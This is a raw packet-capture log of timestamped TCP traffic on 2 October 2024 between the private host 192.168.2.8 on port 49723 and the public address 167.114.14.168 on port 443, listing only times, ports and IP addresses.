Oct 2, 2024 06:11:46.466222048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.466243982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.466340065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.466340065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.466350079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.466411114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.477468014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.477482080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.477679014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.477686882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.477808952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.479001045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.479015112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.479315042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.479321003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.479706049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.480312109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.480325937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.480407000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.480412960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.480483055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.480850935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.480870962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.480957031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.480967999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.481230974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.490020037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490035057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490176916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.490183115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490377903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.490602016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490617037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490668058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.490674019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.490761042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.493632078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.493648052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.493781090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.493789911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.493834019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.557030916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.557050943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.557209015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.557219028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.557493925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.568404913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.568422079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.568562984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.568573952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.568649054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.569770098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.569785118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.569938898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.569945097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.570010900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.570921898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.570940018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.571062088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.571068048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.571325064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.571520090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.571540117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.571724892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.571732044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.571866989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.580792904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.580811024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.580976963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.580984116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.581068039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.581381083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.581394911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.581499100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.581499100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.581506014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.581585884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.584405899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.584422112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.584671974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.584678888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.584759951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.647758961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.647782087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.647933960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.647933960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.647947073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.648024082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.658973932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.658992052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.659181118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.659188986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.659702063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.660475969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.660490990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.660912037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.660917997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.661113024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.661828995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.661850929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.661889076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.661895037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.661973000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.662187099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.662209034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.662295103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.662295103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.662302017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.662348032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.671452999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.671468019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.671704054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.671710968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.671952009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.671972036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.672043085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.672044039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.672053099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.672323942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.675021887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.675035954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.675357103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.675363064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.675494909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.738460064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.738481045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.738627911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.738642931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.738698959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.749749899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.749763966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.749914885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.749922037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.750188112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.751029015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.751043081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.751107931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.751113892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.751256943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.752258062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.752271891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.752386093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.752391100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.752604008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.752986908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.753002882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.753233910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.753240108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.753561974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.762243032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762257099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762531996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.762537956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762710094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762716055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.762721062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762758970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762785912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.762793064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.762816906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.762844086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.765746117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.765760899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.765894890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.765902042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.766094923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.829176903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.829190969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.829294920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.829294920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.829304934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.829353094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.840415001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.840430021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.840581894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.840589046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.840768099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.841840029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.841861010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.842041969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.842048883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.842175961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.843153000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843167067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843363047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.843373060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843473911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.843743086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843756914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843800068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.843805075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.843856096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.843856096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.852896929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.852910995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.853013039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.853018999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.853102922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.853925943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.853940010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.854024887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.854029894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.854135990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.856554031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.856566906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.856724024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.856729984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.856848001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.919886112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.919903040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.920067072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.920090914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.920324087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.931164026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.931178093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.931355953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.931361914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.931504011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.932432890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.932446003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.932763100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.932768106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.933083057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.933897018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.933912039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.934093952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.934099913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.934180021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.934623957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.934638023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.934746027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.934751034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.934798956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.943764925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.943782091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.944035053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.944041967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.944212914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.944232941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.944246054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.944251060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.944278002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.944386959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.947164059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.947176933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.947273970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.947273970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.947283983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.947468996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.010694027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.010710955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.010801077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.010801077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.010808945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.010863066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.021840096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.021861076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.021981955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.021989107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.022098064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.023010969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.023025990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.023098946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.023103952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.023154974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.024549007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.024573088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.024643898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.024651051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.024889946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.025082111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.025096893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.025460005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.025465965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.025573969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.034328938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.034344912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.034411907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.034416914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.034652948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.034848928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.034862995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.035016060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.035022020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.035073996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.037717104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.037731886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.037934065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.037940025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.038001060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.101468086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.101490021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.101563931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.101573944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.101674080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.112747908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.112765074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.112854004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.112863064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.112891912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.112946987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.113873005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.113887072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.113960028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.113965034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.114586115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.115326881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.115341902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.115410089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.115416050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.115497112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.115936995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.115953922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.116075039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.116080999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.116223097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.125008106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125025034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125299931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.125305891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125410080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.125579119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125592947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125746965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.125752926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.125909090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.128438950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.128453016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.128667116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.128671885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.128899097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.192284107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.192305088 CEST	443	49723	167.114.14.168	192.168.2.8
